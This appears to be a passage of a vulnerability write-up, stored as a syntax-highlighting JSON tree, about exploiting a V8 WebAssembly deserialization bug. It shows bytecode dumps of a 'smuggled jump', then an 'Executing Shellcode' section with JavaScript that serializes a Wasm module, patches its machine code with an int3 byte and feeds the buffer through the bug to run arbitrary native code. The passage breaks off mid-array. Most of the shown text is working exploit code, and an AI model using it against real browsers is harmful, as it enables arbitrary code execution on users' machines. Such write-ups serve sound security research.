0xa931111;'",{"type":23,"tag":141,"props":131693,"children":131694},{"style":154},[131695],{"type":29,"value":322},{"type":23,"tag":141,"props":131697,"children":131698},{"style":184},[131699],{"type":29,"value":131700},"repeat",{"type":23,"tag":141,"props":131702,"children":131703},{"style":154},[131704],{"type":29,"value":192},{"type":23,"tag":141,"props":131706,"children":131707},{"style":472},[131708],{"type":29,"value":131709},"0x059302",{"type":23,"tag":141,"props":131711,"children":131712},{"style":160},[131713],{"type":29,"value":49734},{"type":23,"tag":141,"props":131715,"children":131716},{"style":472},[131717],{"type":29,"value":3198},{"type":23,"tag":141,"props":131719,"children":131720},{"style":154},[131721],{"type":29,"value":131722},")}\n",{"type":23,"tag":141,"props":131724,"children":131725},{"class":143,"line":205},[131726,131731,131735,131740],{"type":23,"tag":141,"props":131727,"children":131728},{"style":750},[131729],{"type":29,"value":131730}," a1",{"type":23,"tag":141,"props":131732,"children":131733},{"style":160},[131734],{"type":29,"value":7581},{"type":23,"tag":141,"props":131736,"children":131737},{"style":472},[131738],{"type":29,"value":131739}," 0x0402666c",{"type":23,"tag":141,"props":131741,"children":131742},{"style":154},[131743],{"type":29,"value":1684},{"type":23,"tag":141,"props":131745,"children":131746},{"class":143,"line":218},[131747,131751,131756],{"type":23,"tag":141,"props":131748,"children":131749},{"style":148},[131750],{"type":29,"value":33672},{"type":23,"tag":141,"props":131752,"children":131753},{"style":472},[131754],{"type":29,"value":131755}," 0x393e91a",{"type":23,"tag":141,"props":131757,"children":131758},{"style":154},[131759],{"type":29,"value":1684},{"type":23,"tag":141,"props":131761,"children":131762},{"class":143,"line":227},[131763,131767,131771,131775,131779],{"type":23,"tag":141,"props":131764,"children":131765},{"style":154},[131766],{"type":29,"value":45351},{"type":23,"tag":141,"props":131768,"children":131769},{"style":148},[131770],{"type":29,"value":46889},{"type":23,"tag":141,"props":131772,"children":131773},{"style":154},[131774],{"type":29,"value":1220},{"type":23,"tag":141,"props":131776,"children":131777},{"style":750},[131778],{"type":29,"value":49933},{"type":23,"tag":141,"props":131780,"children":131781},{"style":154},[131782],{"type":29,"value":13480},{"type":23,"tag":141,"props":131784,"children":131785},{"class":143,"line":241},[131786,131790,131794,131798,131802,131807],{"type":23,"tag":141,"props":131787,"children":131788},{"style":750},[131789],{"type":29,"value":100429},{"type":23,"tag":141,"props":131791,"children":131792},{"style":154},[131793],{"type":29,"value":322},{"type":23,"tag":141,"props":131795,"children":131796},{"style":184},[131797],{"type":29,"value":100438},{"type":23,"tag":141,"props":131799,"children":131800},{"style":154},[131801],{"type":29,"value":192},{"type":23,"tag":141,"props":131803,"children":131804},{"style":828},[131805],{"type":29,"value":131806},"\"foo\"",{"type":23,"tag":141,"props":131808,"children":131809},{"style":154},[131810],{"type":29,"value":2496},{"type":23,"tag":141,"props":131812,"children":131813},{"class":143,"line":262},[131814,131819,131824],{"type":23,"tag":141,"props":131815,"children":131816},{"style":148},[131817],{"type":29,"value":131818}," yield",{"type":23,"tag":141,"props":131820,"children":131821},{"style":750},[131822],{"type":29,"value":131823}," a16",{"type":23,"tag":141,"props":131825,"children":131826},{"style":154},[131827],{"type":29,"value":1684},{"type":23,"tag":141,"props":131829,"children":131830},{"class":143,"line":271},[131831],{"type":23,"tag":141,"props":131832,"children":131833},{"style":154},[131834],{"type":29,"value":2573},{"type":23,"tag":32,"props":131836,"children":131837},{},[131838,131840],{"type":29,"value":131839},"Starting from the final ",{"type":23,"tag":38,"props":131841,"children":131843},{"className":131842},[],[131844],{"type":29,"value":131547},{"type":23,"tag":131,"props":131846,"children":131848},{"code":131847}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1 Throw\n 4385791 : 00 1a 1a ff Star.Wide r223\n",[131849],{"type":23,"tag":38,"props":131850,"children":131851},{"__ignoreMap":7},[131852],{"type":29,"value":131847},{"type":23,"tag":32,"props":131854,"children":131855},{},[131856,131858,131863,131865,131871],{"type":29,"value":131857},"The smuggled jump in ",{"type":23,"tag":38,"props":131859,"children":131861},{"className":131860},[],[131862],{"type":29,"value":131547},{"type":29,"value":131864}," will redirect us to ",{"type":23,"tag":38,"props":131866,"children":131868},{"className":131867},[],[131869],{"type":29,"value":131870},"1a e9 93 03",{"type":29,"value":131872},", which results in:",{"type":23,"tag":15362,"props":131874,"children":131875},{},[131876,131887],{"type":23,"tag":120,"props":131877,"children":131878},{},[131879,131885],{"type":23,"tag":38,"props":131880,"children":131882},{"className":131881},[],[131883],{"type":29,"value":131884},"Star r16",{"type":29,"value":131886}," (store accumulator to r16)",{"type":23,"tag":120,"props":131888,"children":131889},{},[131890,131895],{"type":23,"tag":38,"props":131891,"children":131893},{"className":131892},[],[131894],{"type":29,"value":131317},{"type":29,"value":131896}," past the throw into the catch relevant code",{"type":23,"tag":32,"props":131898,"children":131899},{},[131900,131902,131908],{"type":29,"value":131901},"This will bring us nicely to the final ",{"type":23,"tag":38,"props":131903,"children":131905},{"className":131904},[],[131906],{"type":29,"value":131907},"yield a16",{"type":29,"value":131909},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":23,"tag":8287,"props":131911,"children":131913},{"id":131912},"executing-shellcode",[131914],{"type":29,"value":131915},"Executing Shellcode",{"type":23,"tag":32,"props":131917,"children":131918},{},[131919],{"type":29,"value":131920},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":23,"tag":131,"props":131922,"children":131924},{"code":131923,"language":34086,"meta":7,"className":34084,"style":7},"var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[131925],{"type":23,"tag":38,"props":131926,"children":131927},{"__ignoreMap":7},[131928,131958,132185,132253,132260,132305,132351,132391,132398,132422,132459,132495],{"type":23,"tag":141,"props":131929,"children":131930},{"class":143,"line":144},[131931,131935,131940,131944,131948,131953],{"type":23,"tag":141,"props":131932,"children":131933},{"style":449},[131934],{"type":29,"value":33517},{"type":23,"tag":141,"props":131936,"children":131937},{"style":750},[131938],{"type":29,"value":131939}," wasm_code",{"type":23,"tag":141,"props":131941,"children":131942},{"style":160},[131943],{"type":29,"value":1674},{"type":23,"tag":141,"props":131945,"children":131946},{"style":449},[131947],{"type":29,"value":30401},{"type":23,"tag":141,"props":131949,"children":131950},{"style":184},[131951],{"type":29,"value":131952}," Uint8Array",{"type":23,"tag":141,"props":131954,"children":131955},{"style":154},[131956],{"type":29,"value":131957},"([\n",{"type":23,"tag":141,"props":131959,"children":131960},{"class":143,"line":180},[131961,131966,131970,131975,131979,131984,131988,131993,131997,132001,132005,132009,132013,132017,132021,132025,132029,132033,132037,132041,132045,132049,132053,132058,132062,132066,132070,132074,132078,132082,132086,132090,132094,132098,132102,132106,132110,132114,132118,132122,132126,132130,132134,132138,132142,132146,132150,132155,132159,132164,132168,132173,132177,132181],{"type":23,"tag":141,"props":131962,"children":131963},{"style":472},[131964],{"type":29,"value":131965}," 0",{"type":23,"tag":141,"props":131967,"children":131968},{"style":154},[131969],{"type":29,"value":480},{"type":23,"tag":141,"props":131971,"children":131972},{"style":472},[131973],{"type":29,"value":131974},"97",{"type":23,"tag":141,"props":131976,"children":131977},{"style":154},[131978],{"type":29,"value":480},{"type":23,"tag":141,"props":131980,"children":131981},{"style":472},[131982],{"type":29,"value":131983},"115",{"type":23,"tag":141,"props":131985,"children":131986},{"style":154},[131987],{"type":29,"value":480},{"type":23,"tag":141,"props":131989,"children":131990},{"style":472},[131991],{"type":29,"value":131992},"109",{"type":23,"tag":141,"props":131994,"children":131995},{"style":154},[131996],{"type":29,"value":480},{"type":23,"tag":141,"props":131998,"children":131999},{"style":472},[132000],{"type":29,"value":687},{"type":23,"tag":141,"props":132002,"children":132003},{"style":154},[132004],{"type":29,"value":480},{"type":23,"tag":141,"props":132006,"children":132007},{"style":472},[132008],{"type":29,"value":2698},{"type":23,"tag":141,"props":132010,"children":132011},{"style":154},[132012],{"type":29,"value":480},{"type":23,"tag":141,"props":132014,"children":132015},{"style":472},[132016],{"type":29,"value":2698},{"type":23,"tag":141,"props":132018,"children":132019},{"style":154},[132020],{"type":29,"value":480},{"type":23,"tag":141,"props":132022,"children":132023},{"style":472},[132024],{"type":29,"value":2698},{"type":23,"tag":141,"props":132026,"children":132027},{"style":154},[132028],{"type":29,"value":480},{"type":23,"tag":141,"props":132030,"children":132031},{"style":472},[132032],{"type":29,"value":687},{"type":23,"tag":141,"props":132034,"children":132035},{"style":154},[132036],{"type":29,"value":480},{"type":23,"tag":141,"props":132038,"children":132039},{"style":472},[132040],{"type":29,"value":16205},{"type":23,"tag":141,"props":132042,"children":132043},{"style":154},[132044],{"type":29,"value":480},{"type":23,"tag":141,"props":132046,"children":132047},{"style":472},[132048],{"type":29,"value":687},{"type":23,"tag":141,"props":132050,"children":132051},{"style":154},[132052],{"type":29,"value":480},{"type":23,"tag":141,"props":132054,"children":132055},{"style":472},[132056],{"type":29,"value":132057},"96",{"type":23,"tag":141,"props":132059,"children":132060},{"style":154},[132061],{"type":29,"value":480},{"type":23,"tag":141,"props":132063,"children":132064},{"style":472},[132065],{"type":29,"value":2698},{"type":23,"tag":141,"props":132067,"children":132068},{"style":154},[132069],{"type":29,"value":480},{"type":23,"tag":141,"props":132071,"children":132072},{"style":472},[132073],{"type":29,"value":2698},{"type":23,"tag":141,"props":132075,"children":132076},{"style":154},[132077],{"type":29,"value":480},{"type":23,"tag":141,"props":132079,"children":132080},{"style":472},[132081],{"type":29,"value":15972},{"type":23,"tag":141,"props":132083,"children":132084},{"style":154},[132085],{"type":29,"value":480},{"type":23,"tag":141,"props":132087,"children":132088},{"style":472},[132089],{"type":29,"value":1049},{"type":23,"tag":141,"props":132091,"children":132092},{"style":154},[132093],{"type":29,"value":480},{"type":23,"tag":141,"props":132095,"children":132096},{"style":472},[132097],{"type":29,"value":687},{"type":23,"tag":141,"props":132099,"children":132100},{"style":154},[132101],{"type":29,"value":480},{"type":23,"tag":141,"props":132103,"children":132104},{"style":472},[132105],{"type":29,"value":2698},{"type":23,"tag":141,"props":132107,"children":132108},{"style":154},[132109],{"type":29,"value":480},{"type":23,"tag":141,"props":132111,"children":132112},{"style":472},[132113],{"type":29,"value":53150},{"type":23,"tag":141,"props":132115,"children":132116},{"style":154},[132117],{"type":29,"value":480},{"type":23,"tag":141,"props":132119,"children":132120},{"style":472},[132121],{"type":29,"value":54365},{"type":23,"tag":141,"props":132123,"children":132124},{"style":154},[132125],{"type":29,"value":480},{"type":23,"tag":141,"props":132127,"children":132128},{"style":472},[132129],{"type":29,"value":687},{"type":23,"tag":141,"props":132131,"children":132132},{"style":154},[132133],{"type":29,"value":480},{"type":23,"tag":141,"props":132135,"children":132136},{"style":472},[132137],{"type":29,"value":16786},{"type":23,"tag":141,"props":132139,"children":132140},{"style":154},[132141],{"type":29,"value":480},{"type":23,"tag":141,"props":132143,"children":132144},{"style":472},[132145],{"type":29,"value":131983},{"type":23,"tag":141,"props":132147,"children":132148},{"style":154},[132149],{"type":29,"value":480},{"type":23,"tag":141,"props":132151,"children":132152},{"style":472},[132153],{"type":29,"value":132154},"104",{"type":23,"tag":141,"props":132156,"children":132157},{"style":154},[132158],{"type":29,"value":480},{"type":23,"tag":141,"props":132160,"children":132161},{"style":472},[132162],{"type":29,"value":132163},"101",{"type":23,"tag":141,"props":132165,"children":132166},{"style":154},[132167],{"type":29,"value":480},{"type":23,"tag":141,"props":132169,"children":132170},{"style":472},[132171],{"type":29,"value":132172},"108",{"type":23,"tag":141,"props":132174,"children":132175},{"style":154},[132176],{"type":29,"value":480},{"type":23,"tag":141,"props":132178,"children":132179},{"style":472},[132180],{"type":29,"value":132172},{"type":23,"tag":141,"props":132182,"children":132183},{"style":154},[132184],{"type":29,"value":2168},{"type":23,"tag":141,"props":132186,"children":132187},{"class":143,"line":205},[132188,132192,132196,132200,132204,132208,132212,132216,132220,132224,132228,132232,132236,132240,132244,132249],{"type":23,"tag":141,"props":132189,"children":132190},{"style":472},[132191],{"type":29,"value":131965},{"type":23,"tag":141,"props":132193,"children":132194},{"style":154},[132195],{"type":29,"value":480},{"type":23,"tag":141,"props":132197,"children":132198},{"style":472},[132199],{"type":29,"value":2698},{"type":23,"tag":141,"props":132201,"children":132202},{"style":154},[132203],{"type":29,"value":480},{"type":23,"tag":141,"props":132205,"children":132206},{"style":472},[132207],{"type":29,"value":87738},{"type":23,"tag":141,"props":132209,"children":132210},{"style":154},[132211],{"type":29,"value":480},{"type":23,"tag":141,"props":132213,"children":132214},{"style":472},[132215],{"type":29,"value":16205},{"type":23,"tag":141,"props":132217,"children":132218},{"style":154},[132219],{"type":29,"value":480},{"type":23,"tag":141,"props":132221,"children":132222},{"style":472},[132223],{"type":29,"value":687},{"type":23,"tag":141,"props":132225,"children":132226},{"style":154},[132227],{"type":29,"value":480},{"type":23,"tag":141,"props":132229,"children":132230},{"style":472},[132231],{"type":29,"value":1049},{"type":23,"tag":141,"props":132233,"children":132234},{"style":154},[132235],{"type":29,"value":480},{"type":23,"tag":141,"props":132237,"children":132238},{"style":472},[132239],{"type":29,"value":2698},{"type":23,"tag":141,"props":132241,"children":132242},{"style":154},[132243],{"type":29,"value":480},{"type":23,"tag":141,"props":132245,"children":132246},{"style":472},[132247],{"type":29,"value":132248},"11",{"type":23,"tag":141,"props":132250,"children":132251},{"style":154},[132252],{"type":29,"value":2168},{"type":23,"tag":141,"props":132254,"children":132255},{"class":143,"line":218},[132256],{"type":23,"tag":141,"props":132257,"children":132258},{"style":154},[132259],{"type":29,"value":2418},{"type":23,"tag":141,"props":132261,"children":132262},{"class":143,"line":227},[132263,132267,132271,132275,132279,132284,132288,132292,132296,132301],{"type":23,"tag":141,"props":132264,"children":132265},{"style":449},[132266],{"type":29,"value":33517},{"type":23,"tag":141,"props":132268,"children":132269},{"style":750},[132270],{"type":29,"value":70107},{"type":23,"tag":141,"props":132272,"children":132273},{"style":160},[132274],{"type":29,"value":1674},{"type":23,"tag":141,"props":132276,"children":132277},{"style":449},[132278],{"type":29,"value":30401},{"type":23,"tag":141,"props":132280,"children":132281},{"style":750},[132282],{"type":29,"value":132283}," WebAssembly",{"type":23,"tag":141,"props":132285,"children":132286},{"style":154},[132287],{"type":29,"value":322},{"type":23,"tag":141,"props":132289,"children":132290},{"style":184},[132291],{"type":29,"value":84404},{"type":23,"tag":141,"props":132293,"children":132294},{"style":154},[132295],{"type":29,"value":192},{"type":23,"tag":141,"props":132297,"children":132298},{"style":750},[132299],{"type":29,"value":132300},"wasm_code",{"type":23,"tag":141,"props":132302,"children":132303},{"style":154},[132304],{"type":29,"value":2496},{"type":23,"tag":141,"props":132306,"children":132307},{"class":143,"line":241},[132308,132312,132317,132321,132325,132329,132333,132338,132342,132347],{"type":23,"tag":141,"props":132309,"children":132310},{"style":449},[132311],{"type":29,"value":33517},{"type":23,"tag":141,"props":132313,"children":132314},{"style":750},[132315],{"type":29,"value":132316}," inst",{"type":23,"tag":141,"props":132318,"children":132319},{"style":160},[132320],{"type":29,"value":1674},{"type":23,"tag":141,"props":132322,"children":132323},{"style":449},[132324],{"type":29,"value":30401},{"type":23,"tag":141,"props":132326,"children":132327},{"style":750},[132328],{"type":29,"value":132283},{"type":23,"tag":141,"props":132330,"children":132331},{"style":154},[132332],{"type":29,"value":322},{"type":23,"tag":141,"props":132334,"children":132335},{"style":184},[132336],{"type":29,"value":132337},"Instance",{"type":23,"tag":141,"props":132339,"children":132340},{"style":154},[132341],{"type":29,"value":192},{"type":23,"tag":141,"props":132343,"children":132344},{"style":750},[132345],{"type":29,"value":132346},"mod",{"type":23,"tag":141,"props":132348,"children":132349},{"style":154},[132350],{"type":29,"value":2496},{"type":23,"tag":141,"props":132352,"children":132353},{"class":143,"line":262},[132354,132358,132362,132366,132370,132374,132378,132382,132387],{"type":23,"tag":141,"props":132355,"children":132356},{"style":449},[132357],{"type":29,"value":33517},{"type":23,"tag":141,"props":132359,"children":132360},{"style":750},[132361],{"type":29,"value":78494},{"type":23,"tag":141,"props":132363,"children":132364},{"style":160},[132365],{"type":29,"value":1674},{"type":23,"tag":141,"props":132367,"children":132368},{"style":750},[132369],{"type":29,"value":132316},{"type":23,"tag":141,"props":132371,"children":132372},{"style":154},[132373],{"type":29,"value":322},{"type":23,"tag":141,"props":132375,"children":132376},{"style":750},[132377],{"type":29,"value":36357},{"type":23,"tag":141,"props":132379,"children":132380},{"style":154},[132381],{"type":29,"value":322},{"type":23,"tag":141,"props":132383,"children":132384},{"style":750},[132385],{"type":29,"value":132386},"shell",{"type":23,"tag":141,"props":132388,"children":132389},{"style":154},[132390],{"type":29,"value":1684},{"type":23,"tag":141,"props":132392,"children":132393},{"class":143,"line":271},[132394],{"type":23,"tag":141,"props":132395,"children":132396},{"emptyLinePlaceholder":15},[132397],{"type":29,"value":719},{"type":23,"tag":141,"props":132399,"children":132400},{"class":143,"line":293},[132401,132405,132410,132414,132418],{"type":23,"tag":141,"props":132402,"children":132403},{"style":160},[132404],{"type":29,"value":54868},{"type":23,"tag":141,"props":132406,"children":132407},{"style":184},[132408],{"type":29,"value":132409},"WasmTierUpFunction",{"type":23,"tag":141,"props":132411,"children":132412},{"style":154},[132413],{"type":29,"value":192},{"type":23,"tag":141,"props":132415,"children":132416},{"style":750},[132417],{"type":29,"value":74785},{"type":23,"tag":141,"props":132419,"children":132420},{"style":154},[132421],{"type":29,"value":2496},{"type":23,"tag":141,"props":132423,"children":132424},{"class":143,"line":801},[132425,132429,132434,132438,132443,132447,132451,132455],{"type":23,"tag":141,"props":132426,"children":132427},{"style":449},[132428],{"type":29,"value":33517},{"type":23,"tag":141,"props":132430,"children":132431},{"style":750},[132432],{"type":29,"value":132433}," serialized",{"type":23,"tag":141,"props":132435,"children":132436},{"style":160},[132437],{"type":29,"value":1674},{"type":23,"tag":141,"props":132439,"children":132440},{"style":160},[132441],{"type":29,"value":132442}," %",{"type":23,"tag":141,"props":132444,"children":132445},{"style":184},[132446],{"type":29,"value":131441},{"type":23,"tag":141,"props":132448,"children":132449},{"style":154},[132450],{"type":29,"value":192},{"type":23,"tag":141,"props":132452,"children":132453},{"style":750},[132454],{"type":29,"value":132346},{"type":23,"tag":141,"props":132456,"children":132457},{"style":154},[132458],{"type":29,"value":2496},{"type":23,"tag":141,"props":132460,"children":132461},{"class":143,"line":810},[132462,132466,132470,132474,132478,132482,132486,132491],{"type":23,"tag":141,"props":132463,"children":132464},{"style":449},[132465],{"type":29,"value":10467},{"type":23,"tag":141,"props":132467,"children":132468},{"style":750},[132469],{"type":29,"value":7838},{"type":23,"tag":141,"props":132471,"children":132472},{"style":160},[132473],{"type":29,"value":1674},{"type":23,"tag":141,"props":132475,"children":132476},{"style":449},[132477],{"type":29,"value":30401},{"type":23,"tag":141,"props":132479,"children":132480},{"style":184},[132481],{"type":29,"value":131952},{"type":23,"tag":141,"props":132483,"children":132484},{"style":154},[132485],{"type":29,"value":192},{"type":23,"tag":141,"props":132487,"children":132488},{"style":750},[132489],{"type":29,"value":132490},"serialized",{"type":23,"tag":141,"props":132492,"children":132493},{"style":154},[132494],{"type":29,"value":2496},{"type":23,"tag":141,"props":132496,"children":132497},{"class":143,"line":824},[132498,132503,132507,132511,132515,132520,132524,132528,132532,132537,132541,132546,132550,132554,132559],{"type":23,"tag":141,"props":132499,"children":132500},{"style":750},[132501],{"type":29,"value":132502},"console",{"type":23,"tag":141,"props":132504,"children":132505},{"style":154},[132506],{"type":29,"value":322},{"type":23,"tag":141,"props":132508,"children":132509},{"style":184},[132510],{"type":29,"value":100438},{"type":23,"tag":141,"props":132512,"children":132513},{"style":154},[132514],{"type":29,"value":192},{"type":23,"tag":141,"props":132516,"children":132517},{"style":828},[132518],{"type":29,"value":132519},"'['",{"type":23,"tag":141,"props":132521,"children":132522},{"style":160},[132523],{"type":29,"value":7581},{"type":23,"tag":141,"props":132525,"children":132526},{"style":750},[132527],{"type":29,"value":7838},{"type":23,"tag":141,"props":132529,"children":132530},{"style":154},[132531],{"type":29,"value":322},{"type":23,"tag":141,"props":132533,"children":132534},{"style":184},[132535],{"type":29,"value":132536},"join",{"type":23,"tag":141,"props":132538,"children":132539},{"style":154},[132540],{"type":29,"value":192},{"type":23,"tag":141,"props":132542,"children":132543},{"style":828},[132544],{"type":29,"value":132545},"', '",{"type":23,"tag":141,"props":132547,"children":132548},{"style":154},[132549],{"type":29,"value":1748},{"type":23,"tag":141,"props":132551,"children":132552},{"style":160},[132553],{"type":29,"value":3058},{"type":23,"tag":141,"props":132555,"children":132556},{"style":828},[132557],{"type":29,"value":132558}," ']'",{"type":23,"tag":141,"props":132560,"children":132561},{"style":154},[132562],{"type":29,"value":2496},{"type":23,"tag":32,"props":132564,"children":132565},{},[132566],{"type":29,"value":132567},"This produces the following output:",{"type":23,"tag":131,"props":132569,"children":132571},{"code":132570},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[132572],{"type":23,"tag":38,"props":132573,"children":132574},{"__ignoreMap":7},[132575],{"type":29,"value":132570},{"type":23,"tag":32,"props":132577,"children":132578},{},[132579,132581,132587,132589,132595,132597,132603,132604,132610,132612,132617],{"type":29,"value":132580},"The bytes ",{"type":23,"tag":38,"props":132582,"children":132584},{"className":132583},[],[132585],{"type":29,"value":132586},"85, 72, 137, 229, ...",{"type":29,"value":132588}," correspond to the x86-64 function prologue (",{"type":23,"tag":38,"props":132590,"children":132592},{"className":132591},[],[132593],{"type":29,"value":132594},"push rbp; mov rbp, rsp",{"type":29,"value":132596},"). We replace the first byte with ",{"type":23,"tag":38,"props":132598,"children":132600},{"className":132599},[],[132601],{"type":29,"value":132602},"0xcc",{"type":29,"value":15136},{"type":23,"tag":38,"props":132605,"children":132607},{"className":132606},[],[132608],{"type":29,"value":132609},"int3",{"type":29,"value":132611}," opcode), and use this modified buffer as the serialized input to ",{"type":23,"tag":38,"props":132613,"children":132615},{"className":132614},[],[132616],{"type":29,"value":131415},{"type":29,"value":114},{"type":23,"tag":131,"props":132619,"children":132621},{"code":132620,"language":34086,"meta":7,"className":34084,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n f();\n})();\n",[132622],{"type":23,"tag":38,"props":132623,"children":132624},{"__ignoreMap":7},[132625,132648,132675,132895,132962,132970,132997,133211,133463,133714,133940,134184,134404,134411,134460,134505,134549,134588,134600],{"type":23,"tag":141,"props":132626,"children":132627},{"class":143,"line":144},[132628,132632,132636,132640,132644],{"type":23,"tag":141,"props":132629,"children":132630},{"style":154},[132631],{"type":29,"value":192},{"type":23,"tag":141,"props":132633,"children":132634},{"style":449},[132635],{"type":29,"value":34616},{"type":23,"tag":141,"props":132637,"children":132638},{"style":154},[132639],{"type":29,"value":38168},{"type":23,"tag":141,"props":132641,"children":132642},{"style":449},[132643],{"type":29,"value":13498},{"type":23,"tag":141,"props":132645,"children":132646},{"style":154},[132647],{"type":29,"value":1951},{"type":23,"tag":141,"props":132649,"children":132650},{"class":143,"line":180},[132651,132655,132659,132663,132667,132671],{"type":23,"tag":141,"props":132652,"children":132653},{"style":449},[132654],{"type":29,"value":34659},{"type":23,"tag":141,"props":132656,"children":132657},{"style":750},[132658],{"type":29,"value":131939},{"type":23,"tag":141,"props":132660,"children":132661},{"style":160},[132662],{"type":29,"value":1674},{"type":23,"tag":141,"props":132664,"children":132665},{"style":449},[132666],{"type":29,"value":30401},{"type":23,"tag":141,"props":132668,"children":132669},{"style":184},[132670],{"type":29,"value":131952},{"type":23,"tag":141,"props":132672,"children":132673},{"style":154},[132674],{"type":29,"value":131957},{"type":23,"tag":141,"props":132676,"children":132677},{"class":143,"line":205},[132678,132683,132687,132691,132695,132699,132703,132707,132711,132715,132719,132723,132727,132731,132735,132739,132743,132747,132751,132755,132759,132763,132767,132771,132775,132779,132783,132787,132791,132795,132799,132803,132807,132811,132815,132819,132823,132827,132831,132835,132839,132843,132847,132851,132855,132859,132863,132867,132871,132875,132879,132883,132887,132891],{"type":23,"tag":141,"props":132679,"children":132680},{"style":472},[132681],{"type":29,"value":132682}," 0",{"type":23,"tag":141,"props":132684,"children":132685},{"style":154},[132686],{"type":29,"value":480},{"type":23,"tag":141,"props":132688,"children":132689},{"style":472},[132690],{"type":29,"value":131974},{"type":23,"tag":141,"props":132692,"children":132693},{"style":154},[132694],{"type":29,"value":480},{"type":23,"tag":141,"props":132696,"children":132697},{"style":472},[132698],{"type":29,"value":131983},{"type":23,"tag":141,"props":132700,"children":132701},{"style":154},[132702],{"type":29,"value":480},{"type":23,"tag":141,"props":132704,"children":132705},{"style":472},[132706],{"type":29,"value":131992},{"type":23,"tag":141,"props":132708,"children":132709},{"style":154},[132710],{"type":29,"value":480},{"type":23,"tag":141,"props":132712,"children":132713},{"style":472},[132714],{"type":29,"value":687},{"type":23,"tag":141,"props":132716,"children":132717},{"style":154},[132718],{"type":29,"value":480},{"type":23,"tag":141,"props":132720,"children":132721},{"style":472},[132722],{"type":29,"value":2698},{"type":23,"tag":141,"props":132724,"children":132725},{"style":154},[132726],{"type":29,"value":480},{"type":23,"tag":141,"props":132728,"children":132729},{"style":472},[132730],{"type":29,"value":2698},{"type":23,"tag":141,"props":132732,"children":132733},{"style":154},[132734],{"type":29,"value":480},{"type":23,"tag":141,"props":132736,"children":132737},{"style":472},[132738],{"type":29,"value":2698},{"type":23,"tag":141,"props":132740,"children":132741},{"style":154},[132742],{"type":29,"value":480},{"type":23,"tag":141,"props":132744,"children":132745},{"style":472},[132746],{"type":29,"value":687},{"type":23,"tag":141,"props":132748,"children":132749},{"style":154},[132750],{"type":29,"value":480},{"type":23,"tag":141,"props":132752,"children":132753},{"style":472},[132754],{"type":29,"value":16205},{"type":23,"tag":141,"props":132756,"children":132757},{"style":154},[132758],{"type":29,"value":480},{"type":23,"tag":141,"props":132760,"children":132761},{"style":472},[132762],{"type":29,"value":687},{"type":23,"tag":141,"props":132764,"children":132765},{"style":154},[132766],{"type":29,"value":480},{"type":23,"tag":141,"props":132768,"children":132769},{"style":472},[132770],{"type":29,"value":132057},{"type":23,"tag":141,"props":132772,"children":132773},{"style":154},[132774],{"type":29,"value":480},{"type":23,"tag":141,"props":132776,"children":132777},{"style":472},[132778],{"type":29,"value":2698},{"type":23,"tag":141,"props":132780,"children":132781},{"style":154},[132782],{"type":29,"value":480},{"type":23,"tag":141,"props":132784,"children":132785},{"style":472},[132786],{"type":29,"value":2698},{"type":23,"tag":141,"props":132788,"children":132789},{"style":154},[132790],{"type":29,"value":480},{"type":23,"tag":141,"props":132792,"children":132793},{"style":472},[132794],{"type":29,"value":15972},{"type":23,"tag":141,"props":132796,"children":132797},{"style":154},[132798],{"type":29,"value":480},{"type":23,"tag":141,"props":132800,"children":132801},{"style":472},[132802],{"type":29,"value":1049},{"type":23,"tag":141,"props":132804,"children":132805},{"style":154},[132806],{"type":